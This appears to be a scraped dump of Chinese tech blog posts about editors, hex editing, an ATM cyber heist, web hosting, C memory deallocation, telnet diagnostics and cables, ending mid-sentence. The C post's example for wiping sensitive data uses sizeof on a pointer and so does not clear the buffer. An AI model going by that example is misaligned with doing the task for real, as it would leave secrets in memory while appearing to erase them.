輸入中文。\n這個 InputHelper 的作法很簡單，因為 Sublime Text 無法直接使用 ibus 輸入，所以它就另外開一個 gtk.window 的小視窗，讓妳在裡面使用 iBus 打字，輸入完成之後，再幫你複製到 Sublime Text 中。\n接下來示範如何安裝與使用 InputHelper 這個套件。因為這裡要使用 git 來下載 InputHelper，如果系統中沒有 git 的話，記得要先裝：\nsudo apt-get install git 接著把 InputHelper 下載至 Sublime Text 的放置套件的目錄中：\ncd ~/.config/sublime-text-2/Packages git clone https://github.com/xgenvn/InputHelper.git 這樣就安裝好了。\n使用前當然要先確定自己系統上的 iBus 是可以在一般 GTK 應用程式中使用的（如果一般 GTK 程式也沒辦法使用 iBus，那就是系統本身就有問題了）。\n使用方式主要可分成幾個步驟：\n按下 Ctrl + Shift + Z 開啟 InputHelper 輸入視窗。 使用 iBus 輸入法輸入文字。 按下 Ctrl + Enter 完成輸入。 下面這張圖就是 InputHelper 所開啟的輸入視窗，因為它只是普通的 GTK 小程式，所以你基本上可以在這裡用各種輸入法輸入文字，當然也可以輸入中文。\n輸入完成後，InputHelper 就會直接幫你把輸入的文字貼在 Sublime Text 上。\n這個中文輸入的問題，應該只會在 Linux 中會碰到，如果你是 Windows 或 Mac OS X 的使用者，就不用擔心會有這個問題。\n","permalink":"https://blog.gtwang.org/linux/sublime-text/","summary":"\u003cp\u003e\u003ca href=\"https://www.sublimetext.com/\"\u003eSublime Text\u003c/a\u003e 是一個跨平台的專業文字編輯器，支援各種程式語言，非常適合程式開發者使用。\u003c/p\u003e\n\u003cp\u003eSublime Text 支援 Linux 、Windows 與 Mac OS X 三種作業系統，以一個文字編輯器而言，其在功能上非常強大，可以媲美一般專業的程式開發軟體，像一般的自動完成（autocomplete）、多重選擇、多重視窗分割等功能都有支援。\u003c/p\u003e","title":"Sublime Text：跨平台的專業文字編輯器"},{"content":"這裡整理了一些近年來關於雲端運算（Cloud Computing）的發展狀況。\n從 2008 年到 2012 年企業花費在雲端運算上的經費一直持續在上升，根據 IDC 市調公司的研究，雲端運算不只在未來幾年的獲利會增加，連同其形式也會不斷轉變。\n根據調查結果，雲端運算有許多優勢，像是減輕 IT 管理負擔、改善使用者經驗、減低維護設備的成本與減輕企業內部資源的壓力。\n在現今全世界主要的五千萬台伺服器中，有 2% 是 Google 的。\n所有的伺服器中，有 60% 的實體伺服器有使用虛擬機器的技術，而有 10% 的伺服器平均安裝了 10 台虛擬機器（VM）。\n全世界的 data center 總共有三萬餘個，主要分佈於歐美各國。\n在雲端運算這塊市場很大，估計有上千億的市場，許多企業也都在這裡競爭，除了常聽到的 Google 與 Microsoft 兩家公司之外，比較大的還有 rackspace（提供網頁空間等服務）與 ZOHO（提供各種商業導向的線上服務）這兩家。\n而根據統計，大部分的雲端使用會使用到的雲端服務，線上的電子郵件排名第一（56%），其次是照片儲存服務（34%），第三名是使用一些類似 Google Docs這類的線上 Apps（29%）。\n","permalink":"https://blog.gtwang.org/funny/stats-on-cloud-computing/","summary":"\u003cp\u003e這裡整理了一些近年來關於雲端運算（Cloud Computing）的發展狀況。\u003c/p\u003e\n\u003cp\u003e從 2008 年到 2012 年企業花費在雲端運算上的經費一直持續在上升，根據 IDC 市調公司的研究，雲端運算不只在未來幾年的獲利會增加，連同其形式也會不斷轉變。\u003c/p\u003e","title":"近年來關於雲端運算（Cloud Computing）的發展狀況"},{"content":"wxHexEditor 是一個開放原始碼且跨平台的十六進位編輯器，除了用來編輯檔案之外，也可以直接編輯低階的硬碟磁區。\n一般如果在開發比較低階的程式時，通常都會需要處理一些二進位檔案，而二進位檔案沒辦法以一般的文字編輯器來編輯，這時候就需要一個十六進位的編輯器了。\n這裡我們介紹一個小巧好用的 wxHexEditor，它是以一套跨平台的 GUI 函式庫 wxWidgets 來開發的，所以它支援各種常見的作業系統（如 Windows、Linux 與 Mac OS 等）。\n下面這個是在 Linux 系統中的使用畫面。\nwxHexEditor 除了有一般十六進位編輯器的功能之外，它還可以直接針對硬碟的磁碟分割表或一般的磁區來編輯（當然如果要做這件事，你必須先知道自己在做什麼，否則硬碟的料可能會被你弄壞掉！），而且對於大容量磁碟的支援也很不錯，最大可以到 EB 的等級（1EB=1024PB，1PB=1024TB，1TB=1024GB）。\n以下是一些 wxHexEditor 的特色：\n使用 64 位元定址，支援 2^64 bytes 的檔案或磁碟大小。 支援快速大檔案編輯。 在插入或刪除多個位元資料時，不需要使用暫存檔。 記憶體的使用量非常低（開啟幾 GB 的資料只需要 25MB 的記憶體）。 支援各種機械碼的反組譯（x86、x86-64、MMX、SSE、SSE2、SSE3、AMD-V、Intel VT-x）。 支援行程記憶體（process memory）的編輯。 可以處理 XOR Obfuscation 問題。 可以同時以多個視窗編輯多個檔案。 支援各種編碼（UTF8/16/32、Shift JIS、GBK、EUC 等）。 若在 Linux 中要安裝 wxHexEditor，除非你剛好可以使用官方編譯好的版本，否則一般的 Linux 大概都要自行編譯安裝。\n以下是在各種 Linux 下的安裝方式，基本上步驟都差不多，不外乎安裝一些必要套件，並下載 wxHexEditor 的原始碼來編譯。\nDebian 系統：\nsudo apt-get install debhelper libdisasm-dev libmhash-dev libwxbase2.8-dev libwxgtk2.8-dev wx-common wx2.8-headers svn checkout svn://svn.code.sf.net/p/wxhexeditor/code/trunk wxHexEditor cd wxHexEditor make OPTFLAGS=\u0026#34;-fopenmp\u0026#34; Ubuntu 系統要加入 GetDeb Apps 這個 repository：\nwget -q -O – http://archive.getdeb.net/getdeb-archive.key | sudo apt-key add - sudo sh -c \u0026#39;echo \u0026#34;deb http://archive.getdeb.net/ubuntu $(lsb_release -cs)-getdeb apps\u0026#34; \u0026amp;gt;\u0026amp;gt; /etc/apt/sources.list.d/getdeb.list\u0026#39; sudo apt-get update sudo apt-get install wxhexeditor Fedora 系統則是使用 yum：\nsudo yum install libtool gcc-c++ wxGTK-devel svn checkout svn://svn.code.sf.net/p/wxhexeditor/code/trunk wxHexEditor cd wxHexEditor make OPTFLAGS=\u0026#34;-fopenmp\u0026#34; 若在 CentOS 或 RHEL 系統，就先啟用 Repoforge 這個 repository，再按照 Fedora 的方式編譯。\n如果是 Mac OS 的使用者，可以直接從 wxHexEditor 的網站下載打包好的 DMG 安裝檔，解壓縮之後，跟一般軟體的安裝方式一樣，把 wxHexEditor 的圖示拖進「應用程式」中即可。\n下面這個是在 Mac OS 中的使用畫面。\n如果是 Windows 的使用者，wxHexEditor 的網站是有提供編譯好的版本可以下載，但是我自己下載下來之後，卻打不開，據官方網站的敘述，他好像是用 MinGW 的環境編譯的，不知道是不是要先裝 MinGW，有興趣的人可以自己嘗試看看。\n","permalink":"https://blog.gtwang.org/useful-tools/wxhexeditor/","summary":"\u003cp\u003e\u003ca href=\"https://www.wxhexeditor.org/\"\u003ewxHexEditor\u003c/a\u003e 是一個開放原始碼且跨平台的十六進位編輯器，除了用來編輯檔案之外，也可以直接編輯低階的硬碟磁區。\u003c/p\u003e\n\u003cp\u003e一般如果在開發比較低階的程式時，通常都會需要處理一些二進位檔案，而二進位檔案沒辦法以一般的文字編輯器來編輯，這時候就需要一個十六進位的編輯器了。\u003c/p\u003e","title":"wxHexEditor：跨平台的十六進位編輯器"},{"content":"這裡詳述了半年多前，一起全球性的網路銀行搶案，電腦駭客在兩天內偷走四千五百萬美金的過程。\n大約半年多前，有一個由小偷與駭客組成的國際性犯罪組織，從全球的自動提款機（ATM）偷走了大約四千五百萬美金（2012 年 12 月 12 日偷了五百萬，2013 年 2 月 19 日偷了四千萬），整起犯罪只花了兩個工作天，橫跨 27 個國家，進行了 8100 筆交易。\n到底他們是怎麼做到的？\n一開始，駭客先後入侵到阿拉伯聯合大公國（UAE）與阿曼（Oman）兩個國家的信用卡公司系統，盜取預付現金卡（prepaid debit cards）的帳號資訊，並將其領款額度上限提高。\n駭客將 12 張預付現金卡的資訊分送至世界各地的同夥來製造偽卡，例如在禮品卡或舊的飯店卡片上加載磁條。\n接著在沒有提款上限的情況下，這個組織發動全世界的同夥，在同一時間從世界各地 5000 台 ATM 提款機，使用偽造的預付現金卡提領現金，換句話說就是從 ATM 提款機愛領多少就可以領多少。\n這次的行動在日本境內就被提領了一千萬美金（有些日本的 ATM 提款機可以一次提領一萬元美金），而在美國紐約在兩小時之內也被領走兩千四百萬美金。\n取得帳款後，他們隨即在邁阿密（Miami）銀行開啟了一個帳戶，並用這些現金購入保時捷和賓士汽車，以及勞力士手錶以試圖進行洗錢。\n此犯案手法被稱之為無限行動（Unlimited Operation）攻擊，意即網路犯罪組織駭入系統後，緊接著進行無限次的犯罪行動，其特徵包括具備精密的攻擊手法、全球性的犯罪組織，以及快速的組織協調運作，以在最短的時間內取得大量現金。\n而要避免類似的事件發生，大概有幾種方式，例如監控同時存取多個帳戶的活動，以及調高現金卡提領上限這類的敏感動作，另外也加強銀行的資訊安全防護措施等。\n美國聯邦政府在 5/9 以非法詐欺設備、洗錢等罪名起訴該集團的主要8名成員以及其他同夥。法庭文件指出，該集團主要鎖定阿拉伯聯合大公國和境內國家阿曼（Oman）的銀行展開網路銀行搶案。由於該起犯罪橫跨世界各國，因此透過日本、加拿大、英國、羅馬尼亞和其他 12 個國家的執法機構合力介入調查後，最終破獲。\n美國紐約東區檢察官 Loretta Lynch 指出，這個集團透過網路將犯案規模延伸到世界各地，才能犯下如此重大的銀行搶劫案，其規模在這種類型的竊盜案中，是前所未見的。此外，他也指出銀行搶劫能透過虛擬世界進行的嚴重性，別於過去利用槍和口罩，駭客僅需透過電腦和網路，就可犯下更大規模的罪行。\n參考資料 Mashable ","permalink":"https://blog.gtwang.org/funny/worldwide-atm-cyber-attack/","summary":"\u003cp\u003e這裡詳述了半年多前，一起全球性的網路銀行搶案，電腦駭客在兩天內偷走四千五百萬美金的過程。\u003c/p\u003e\n\u003cp\u003e大約半年多前，有一個由小偷與駭客組成的國際性犯罪組織，從全球的自動提款機（ATM）偷走了大約四千五百萬美金（2012 年 12 月 12 日偷了五百萬，2013 年 2 月 19 日偷了四千萬），整起犯罪只花了兩個工作天，橫跨 27 個國家，進行了 8100 筆交易。\u003c/p\u003e","title":"電腦駭客如何在兩天內偷走四千五百萬美金？"},{"content":"現在網路上有許多免費或付費的網頁空間，這裡列出在選擇的時候，應該要考慮的一些重點。\n網頁空間最基本的就是伺服器不能老是當機或是故障，這個部分就要看它的 uptime。\n所謂的 uptime 就是指伺服器正常運作的時間比例，一般 uptime 最低的要求依該要有 99% 以上，而如果有 99.9% 會更好。\n直接看這種比例可能你沒有特別的感受，如果把他換算成實際的時間的話，99.5% 的 uptime 相當於一個月當機 3.5 小時（其實已經很久了），而 99.9% 的話則是一個月 40 分鐘。\n如果網頁空間有提供備份的伺服器（即鏡像站），檔機時還有備援機可以撐著，那這個影響可能會小一點。\n網頁空間就是要能夠存在資料，而其所提供的空間大小也是所有人一定會在意的問題。\n如果你的網站是屬於一般性的網頁，那麼一般來說 10MB 的空間可以儲存 100 張網頁左右，而如果你的網站有很多圖片、影音資料等大型檔案，那就會需要更多的空間。\n通常在規劃時，還要預留大約 20% 的彈性空間，以方便未來網站的增長。\n另外，請不要以為某些沒有限制容量上限的網頁空間一定會比較好，有些時候必須整體考量（空間很大，但可能有其他缺點），而且你不見得會使用到那麼大的空間。\n如果你的網站是要對外服務的，那麼在很多人來瀏覽時，網路頻寬（或流量限制）就是一個重點，如果頻寬不夠時，有些人可能就會無法瀏覽你的網站。\n而如果網站上有存放一些較大的檔案（圖檔、影音檔等），相對上就會使用到更大的頻寬，而較高頻寬的網頁空間通常收費也會比較高，所以這也是要自己衡量的。\n對於個人化的網站而言，如果網頁空間可以提供自己的電子郵件服務，對於訪客在聯繫自己網站時會有幫助（你的 E-mail 位址就可以寫成 seal@gtwang.org 這樣的形式，而不是跟大家一樣用 Gmail，看起來會比較專業）。\n好的管理界面可以讓你在需要更動伺服器設定時省下很多時間，例如新增電子郵件帳號等等，如果可以自己處理掉，就不用找客服人員處理，節省時間。\n網頁空間是否有提供優質的客戶服務（customer support）也是一個要考量的因素，一些技術上的問題可能會在任何時候發生，例如不小心把自己的伺服器弄壞了等等。\n在檢視客戶服務時，你可能會需要注意幾個問題：\n時間：是否全年無休？ 收費：諮詢是否要額外收費？ 管道：是否有提供立即且方便的咨詢方式，像電話、E-mail 或線上聊天等。 速度：處理問題的速度是否夠快。 安全性（security）是一般比較少在注意的，但如果你的網站會牽涉到一些線上交易行為，那你的網頁就會需要加密的 SSL（secure socket layer）連線，另外也要注意網頁空間是否夠安全，有沒有定期進行安全性的稽核。\n多網域或子網域的支援通常是在一些比較大型的網站才會用到，如果你是一家公司的網站，你可能會架一台 www.gtwang.org 這樣的正式網站，外加一個 blog.gtwang.org 這樣的部落格網站，如果你有這樣的需求，才會用到多網域或子網域的功能，不然這個可能不是很重要。\nFTP 檔案的傳輸應該是現在每一個網頁空間都會提供的服務，而且也是大家常用的傳輸檔案方式，如果你的檔案很大或數量很多，通常就會需要使用 FTP 來傳送檔案到伺服器上。\n傳統上的靜態網頁都是以 HTML 與 CSS 來撰寫的，如果你的網頁是用 PHP 或 ASP 這類的程式語言所撰寫的，那麼你就會需要找一個支援該語言的網頁空間來放置。\n這方面目前在市面上以 PHP 加上 MySQL 資料庫支援的空間是最普遍，這樣的組合也是一般網站很常用的方式。\n網站的備份功能也是一項重要的功能，你很難保證伺服器永遠是好的，你可能定期會需要備份整個網站與資料庫的資料。\n以上就是選擇網頁空間需要考量的重點，大家可以依據自己的需要取捨，找一個最適合自己的組合。\n","permalink":"https://blog.gtwang.org/web-development/what-you-should-look-for-in-a-web-host/","summary":"\u003cp\u003e現在網路上有許多免費或付費的網頁空間，這裡列出在選擇的時候，應該要考慮的一些重點。\u003c/p\u003e\n\u003cp\u003e網頁空間最基本的就是伺服器不能老是當機或是故障，這個部分就要看它的 uptime。\u003c/p\u003e","title":"在選擇網頁空間時應該注意哪些重點？"},{"content":"這裡討論一些在 C 語言中關於記憶體釋放的議題，包含記憶體的重複釋放、敏感性資料的處理等。\n在 C 語言中在使用完動態配置的記憶體時，我們通常只會記得將自己配置的記憶體釋放，避免記憶體洩漏（memory leak），然後就結束了，但是對於一些敏感性的資料而言，其實這樣還不夠。\n這裡我們會討論一些 C 語言中關於動態記憶體的相關議題，像是處理敏感性資料的方法，如何讓資料不會外洩，確保資料的安全等。\nHeap 與系統記憶體 程式中的 heap 通常會使用系統所提供的函數來管理它的記憶體，而 heap 記憶體的大小可以在程式一開始執行時就固定住，或者在程式執行時再調整大小。\n當 heap 在釋放之前配置的記憶體時，並不一定會把這些釋放的記憶體直接還給系統，它通常會把這些釋放的記憶體先保留下來，等到程式接下來又需要配置動態記憶體時，再拿出來繼續使用。\n所以若我們使用系統中的監控指令（如 top），從系統的角度來看程式執行時所使用的記憶體，通常跟該程式實際上所使用到的記憶體會有一些差異。\n記憶體重複釋放（Double Free） C 語言中一般都是使用 free() 函數來釋放記憶體，而在釋放記憶體時常會碰到的問題就是不小心重復釋放同一塊記憶體，這通常是因為程式設計者的疏忽所造成的，像下面這樣就是個典型的例子：\nchar *name = (char*) malloc(...); // ... free(name); // First free // ... free(name); // Double free 上面這種情況是很明顯的錯誤，想要避免掉並不是很困難，但是在使用指標的別名（alias）的時候，就會比較難檢查：\nchar *name = (char*) malloc(...); char *tmp = name; // ... free(name); // First free // ... free(tmp); // Double free 在早期的 zlib 函式庫有一些 bugs，可能會讓記憶體重復釋放造成阻斷服務攻擊或是外部的程式介入，只是它發生的機會很小，而且在新的版本中已經修正這個問題了，若你對這個問題有興趣，可以到 CERT 的網站上查詢。\n一個很簡單避免記憶體重復釋放的方式就是直接將已經釋放的記憶體指標指定為 NULL，而之後如果對這個 NULL 指標再次釋放記憶體時，大部分的 heap 管理程式都會忽略這個動作：\nchar *name = (char*) malloc(...); // ... free(name); name = NULL; 清除敏感性資料（Clearing Sensitive Data） 如果你在記憶體中存放一些敏感性資料（像帳號、密碼或信用卡卡號等），那麼你最好在使用完這些資料之後，自己把這些資料從記憶體中抹除，以確保資料不會外洩。\n當程式執行完畢之後，那些被程式所使用的記憶體會被系統收回，然後繼續配置給其他的程式來使用，這可能是大家都知道事情，但是這其中有些問題。\n大部份的系統並不會幫你把使用過的記憶體清乾淨，也就是說當你把一些資料儲存在記憶體中，在程式結束之後，記憶體雖然被系統收回，但是那些記憶體中的資料卻還是存在那裡（系統只是把記憶體的使用權收回而已，記憶體中的資料卻還在）。然後接著如果有另外一個程式需要記憶體時，系統又剛好把這些剛收回來的記憶體配置給這個新的程式來使用，那麼這個時候這個新的程式就可以讀取原本存放在這些記憶體中的資料了。\n下面示範如何自己把記憶體中的資料清乾淨，避免資料外洩問題：\nchar name[32]; int userID; char *securityQuestion; // assign values // ... // Delete sensitive information memset(name, 0, sizeof(name)); userID = 0; memset(securityQuestion, 0, strlen(securityQuestion)); 如果是使用動態配置的記憶體，那資料就要在釋放記憶體之前清除：\nchar *name = (char*)malloc(...); // ... memset(name, 0, sizeof(name)); free(name); 在某些支援機密資料處理的系統中，當程式執行結束後，系統會自動對那些收回且不再被該程式使用的記憶體做一次清除的動作，雖然這樣比較安全，但是這也會對系統的效能造成一定的負擔。\n在程式執行結束前釋放記憶體 作業系統會依照程式的需求來調配各種資源的調配（包含記憶體），而當程式執行完畢之後，系統會把所有的記憶體都一起收回，而在這個時候，不管程式的記憶體有沒有使用 free() 函數正常釋放，其實都沒有什麼差別，因為等程式一結束，系統就會像資源回收車一樣一次全部收走，再重新配置給其他程式使用。\n以這個觀點來看，其實程式在結束之前沒有必要釋放記憶體，而因為某些因素，你可能需要正常釋放記憶體：\n一些比較盡責的程式設計者，為了程式的品質，會很注意所有記憶體的管理。在記憶體不使用時就把它釋放掉，也是一種很好的習慣。 如果使用一些記憶體泄漏的偵測工具測試沒有正常釋放記憶體的程式時，就會出現一些錯誤報告，將記憶體都正常釋放可避免這些問題。 在一些比較陽春的系統中，系統不會自動收回記憶體，要靠程式在結束之前自行處理。 如果程式後來持續修改，而原本程式的結尾沒有正常釋放記憶體，再加上新的程式碼時，就會產生問題。 但是在另一方面，確認程式結束前正常釋放記憶體也會造成：\n沒多大效益，又造成一些額外的困擾。 如果有很複雜的資料結構，可能會花上很多時間改程式。 增加整體程式的大小。 讓程式的執行時間拉長。 造成更多程式出錯的機會。 基本上，到底要不要在程式結束前釋放記憶體，每個問題可能都會不同，要看實際的情況而定。\n總結 這裡你可以發現記憶體的釋放不是單純只有呼叫一個 free() 而已，光是這樣還不夠。這邊介紹的許多技巧也可以應用於其他類似的函數上（例如 realloc() 函數），深入了解系統如何管理記憶體可以幫助程式設計者在記憶體的使用上更得心應手。\n","permalink":"https://blog.gtwang.org/programming/memory-deallocation-issues-in-c/","summary":"\u003cp\u003e這裡討論一些在 C 語言中關於記憶體釋放的議題，包含記憶體的重複釋放、敏感性資料的處理等。\u003c/p\u003e\n\u003cp\u003e在 C 語言中在使用完動態配置的記憶體時，我們通常只會記得將自己配置的記憶體釋放，避免記憶體洩漏（memory leak），然後就結束了，但是對於一些敏感性的資料而言，其實這樣還不夠。\u003c/p\u003e","title":"C 語言中關於記憶體釋放的議題"},{"content":"telnet 是一個很傳統的連線程式，它除了用來上 BBS 之外，也可以用來當做診斷各種伺服器與網路連線問題。\n在早期網路剛發展起來的時候，BBS 在台灣非常流行，尤其是在各高中與大學院校，幾乎都有自己的 BBS 站，在台灣應該每個大學生都上過 BBS。\nBBS 所使用的通訊協定就是 TELNET，而在 Linux 系統中也有一個小程式叫做 telnet（其實 Windows 與 Mac OS 中也有），這個程式可以讓你使用 TELNET 通訊協定來跟遠端的伺服器溝通，上 BBS 就是一個最常見的例子。\n但是大家可能不知道，telnet 除了用來上 BBS 之外，它其實也可以做為一個很專業的伺服器與網路診斷工具，早期許多系統管理者都會使用 telnet 來連線到遠端的主機，但是因為 TELNET 未經加密的協定，所以所有的資料都是以明碼在網路上傳遞，後來因為安全性的問題，大家漸漸改用 SSH 這種加密的連線，telnet 現在已經鮮少有人使用，除了那些沒有安全性顧慮的應用。\n雖然 telnet 無法確保資料的安全，但是它在伺服器與網路的診斷上還是很有用的，對於系統管理者而言，它其實是一個很方便的網路連線工具，在建立連線之後，還可以利用 telnet 傳送各種指令，找出網路連線的問題所在。對於我個人而言，在一般命令列檢測伺服器與網路狀況時，也常常會使用 telnet 這個好用的小工具。\n以下介紹如何使用 telnet 來檢查各種網路連線問題。\n測試遠端 Ports 想要測試伺服器的某個 port 是否有正常開啓並且處於傾聽（listening）的狀態有很多方式，例如圖形界面的一些 port 掃描程式、Nmap 或 nc 等，這些工具都很好用，但是這些好用的工具不見得在每個系統中都有安裝，像 Nmap 功能非常強大，但通常一般的系統預設都沒有安裝，而 telnet 則是一個很普遍的工具，幾乎每種系統中都會有 telnet 的存在，甚至一些嵌入式系統中也有，所以學習如何使用 telnet 也是很重要的。\n下面示範如何測試 192.168.5.5 這台伺服器的 SMTP port（port 25）是否正常：\ntelnet 192.168.5.5 25 輸出為\nTrying 192.168.5.5... telnet: Unable to connect to remote host: Connection refused 在這個例子中遠端這台伺服器的 SMTP port 並沒有開啓，所以這時候就需要看看這台伺服器出了什麼問題。\n如果這台伺服器的 SMTP port 是有正常開啓服務的，那麼在這個時候你就可以直接輸入 SMTP 的指令了，關於 SMTP 通訊協定請參考 Wiki 的說明。\n從上面這個範例你應該會發現 telnet 的用法就是直接指定連線主機的位址（IP address 或 hostname）與連接埠（port），就可以建立連線了，如果沒有指定連接埠，則 telnet 會使用預設的 23 埠（也就是 TELNET 協定的連接埠）。\n如果你想測試一台網頁伺服器是否正常運作，就可以直接連線至該伺服器的 80 埠，就像這樣：\ntelnet www.example.net 80 診斷 Web Servers 當你使用 telnet 連線至伺服器的 80 埠時，你可以直接送出 HTTP 的指令來測試伺服器是否正常。一開始我們會先看看連線是否正常：\ntelnet www.example.net 80 輸出為\nTrying 192.168.5.5... Connected to www.example.net. Escape character is '^]'. 當成功連線至伺服器之後，就可以送出一般的 HTTP 指令來取得網頁資料，下面是使用 HTTP 協定的 GET 指令的範例，並且指定 host：\nGET / HTTP/1.1 host: www.example.net 這裡的 GET 指令指定了網頁路徑（/）與協定的版本（HTTP/1.1）。因為現今的網頁伺服器通常都會以 virtual hosts 的方式同時服務好幾個網站，所以要使用 host 來指定想要連線的網站，如果你想看該網站中其他的網頁，可以在 GET 指令中自行指定網頁的路徑，例如 GET /forum/. 等，如果你的打字速度不夠快，很可能會因此造成連線逾時，然後斷線，你可以事先把指令打好，用複製貼上的方式來避免這個問題。\n當你按下最後一個 Enter 鍵送出指令之後，就換看到類似下面這些伺服器送出來的資料：\nHTTP/1.1 200 OK Date: Tue, 10 Jul 2012 04:54:04 GMT Server: Apache/2.2.14 (Ubuntu) Last-Modified: Mon, 24 May 2010 21:33:10 GMT ETag: \"38111c-b1-4875dc9938880\" Accept-Ranges: bytes Content-Length: 177 Vary: Accept-Encoding Content-Type: text/html X-Pad: avoid browser bug \u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026lt;h1\u0026gt;It works!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;This is the default web page for this server.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;The web server software is running but no content has been added, yet.\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 這個是 Apache 伺服器預設網頁的內容，下半部就是一般的 HTML 網頁，而上半部則是伺服器傳送給瀏覽器的一些標頭資訊，這些都是除錯時很有用的資訊，像第一行的 HTTP/1.1 200 OK 表示輸入的指令經過網頁伺服器處理之後，結果沒有問題，而 Last-Modified 則是標示該網頁的修改時間。\n當獲得這些資訊之後，就可以輸入 Ctrl + ] 回到 telnet 的提示字元環境，然後輸入 quit 離開 telnet。\ntelnet 通常只適用於處理一些簡單的伺服器檢測，如果牽涉到使用者認證或重新導向這類複雜的問題，可能就要選擇像 curl 這類的工具，或是找一些更強大的圖形介面瀏覽器來處理了。\n傳送 E-mail telnet 除了可以檢測網頁伺服器是否正常之外，也可以用於處理 E-mail 伺服器的問題，他好用的原因在於你可以很方便的使用一些簡潔的 telnet 指令來傳送一封 E-mail。\n檢測 E-mail 伺服器的第一步就是使用 telnet 連線到伺服器的 25 埠：\ntelnet mail.example.net 25 輸出為\nTrying 192.168.5.5... Connected to mail.example.net. Escape character is '^]'. 220 mail.example.net ESMTP Postfix 這裡的 SMTP 協定與 HTTP 不同，當你建立一個新連線時，伺服器會先送出一行資訊給你，告訴你連線已經建立成功了，而這台 SMTP 伺服器的系統是 Postfix。\n這個時候，就可以開始送出 SMTP 的指令了，首先送出一個 HELO 指令，告訴伺服器我們自己的位址資訊：\nHELO lappy486.example.net 輸出為\n250 mail.example.net 像這種互動式的通訊協定有一個好處，就是當我們輸入錯誤或是碰到一些問題時，伺服器會立即反映出來，而如果都正常的話，伺服器就會回應 250 表示一切正常。\n在送出 HELO 指令之後，接著可以使用 MAIL FROM: 指令來指定要顯示的寄件人電子郵件位址（事實上這個寄件人電子郵件位址是可以隨便輸入的，這也是很多廣告信常做的事）：\nMAIL FROM: \u0026lt;root@example.net\u0026gt; 輸出為\n250 Ok 在以前的 Postfix 伺服器上寄信時，電子郵件位址可以不需要加上小於與大於的符號（\u0026lt;\u0026gt;），但是有些比較嚴格的伺服器好像都會要求要加，否則他就會告訴你電子郵件位址的格式錯誤。\n當輸入完寄件人的電子郵件之後，接著輸入收件人的電子郵件：\nRCPT TO: \u0026lt;postmaster@example.net\u0026gt; 輸出為\n250 Ok 這裡伺服器回應 250 的意思就是輸入的資料沒有問題，接著使用 DATA 指令來輸入主要的信件內容：\nDATA 輸出為\n354 End data with \u0026lt;CR\u0026gt;\u0026lt;LF\u0026gt;.\u0026lt;CR\u0026gt;\u0026lt;LF\u0026gt; 這裡就開始輸入內容，有一些信件中其他的欄位也可以在這裡一並輸入，像是信件的標題（subject）等，所有的資料都輸入完成後，最後一行要輸入單一個句點，代表資料輸入完畢。\nSubject: Give Telnet a Chance 1 Hi, All we are saying is give telnet a chance. . 輸出為\n250 Ok: queued as 52A1EE3D117 這樣信件就送出去了。\n當我們在使用 telnet 測試 E-mail 伺服器的時候，可以在信件標題上加上一個流水號，這樣就可以比較清楚看出哪幾封信件有正常送出，而哪幾封異常。\n當信件送出之後，就可以輸入 quit 指令，中斷與伺服器的連線。\nquit 輸出為\n221 Bye Connection closed by foreign host. 現在我們介紹完一些以 telnet 來診斷伺服器與網路的方法，希望大家從此不要直接認為 telnet 不能加密就把它都進垃圾桶，在某些狀況下它其實還是很有用的。\n除了這裡介紹的測試範例之外，telnet 也可以用於其他許多的伺服器與網路連線問題的檢測，基本上如果你對於一般的 TCP/IP 通訊協定有一定的瞭解，你應該就能體會到，只要你了解某種協定的指令用法，就可以利用 telnet 來跟該協定的伺服器溝通，所以其實只要是建立在 TCP/IP 的通訊協定，大部分都可以利用這樣的方式來檢測。\n參考資料： Linux Journal ","permalink":"https://blog.gtwang.org/linux/troubleshooting-telnet/","summary":"\u003cp\u003e\u003ccode\u003etelnet\u003c/code\u003e 是一個很傳統的連線程式，它除了用來上 BBS 之外，也可以用來當做診斷各種伺服器與網路連線問題。\u003c/p\u003e\n\u003cp\u003e在早期網路剛發展起來的時候，BBS 在台灣非常流行，尤其是在各高中與大學院校，幾乎都有自己的 BBS 站，在台灣應該每個大學生都上過 BBS。\u003c/p\u003e","title":"使用 Telnet 診斷各種伺服器與網路連線問題"},{"content":"這張圖幾乎把所有常見科幻小說的太空船按照「實際」的比例放在一起比較，看起來很壯觀，也很有趣。\nDirk Loechel 整理了常見的科幻小說，把所有的太空船都依照「實際」的比例放在這張圖上面，從最後一戰（Halo）、星際大戰（Star Wars）、星艦戰將（Starship Troopers）到銀河迷航（Farscape），應有盡有。\n這張圖經過長期的整理，目前還在不斷地更新，因為這張圖的原檔很大，這裡只有放一張比較小的縮圖而已，如果你有興趣，建議可以到他的網站看看原圖。\n參考資料 Dirk Lothel ","permalink":"https://blog.gtwang.org/funny/size-comparison-science-fiction-spaceships/","summary":"\u003cp\u003e這張圖幾乎把所有常見科幻小說的太空船按照「實際」的比例放在一起比較，看起來很壯觀，也很有趣。\u003c/p\u003e\n\u003cp\u003eDirk Loechel 整理了常見的科幻小說，把所有的太空船都依照「實際」的比例放在這張圖上面，從最後一戰（Halo）、星際大戰（Star Wars）、星艦戰將（Starship Troopers）到銀河迷航（Farscape），應有盡有。\u003c/p\u003e","title":"比較各種科幻小說的太空船，星際大戰、最後一戰、星艦戰將與銀河迷航等"},{"content":"這理介紹生活中常見的各種電纜線構造與功用，讓你搞清楚各種電纜線的用途。\n隨著無線傳輸技術的發展，生活中有些原本需要實體線路傳輸的資訊設備，現在慢慢都變成無線的，但是以目前無線傳輸的技術而言，不管是傳輸的距離或頻寬等等，都還跟不上有線的傳輸方式，尚無法全面取代有線的傳輸，因此在日常生活中我們還是多多少少會碰到各種的電纜線。\n而各式各樣的電纜線有時候就會讓人搞不清楚，到底什麼時候該用哪一種？不同的電纜線差別在哪裡？以下我們介紹一些家中比較常見的四種電纜線，以及它們的構造與功能。\n同軸電纜（coaxial cable）是用於傳輸無線電訊號的電纜線，其最內層是銅芯，中間隔著一層絕緣層後再包一層銅網，這種電纜線在傳輸訊號時比較不會衰減，傳輸距離非常長，而且也不會受到週遭金屬物體的干擾。\n一般家中的電視天線就是使用這種電纜線。\n乙太網路電纜（ethernet cable）用於連結各種網路設備，一般所談的網路線就是指這種。\n這種電纜線與一般的電話線類似，但一般的電話線有 4 pins 或 6 pins，而乙太網路電纜則為 8 pins，此電纜線通常都會配合 RJ-45 接頭使用。\n如果要連接兩台電腦卻不想使用交換器或集線器，可以使用跳線（crossover）來直接讓兩台電腦傳輸資料，所謂的跳線只是讓一端 RJ-45 接頭的兩個 pin 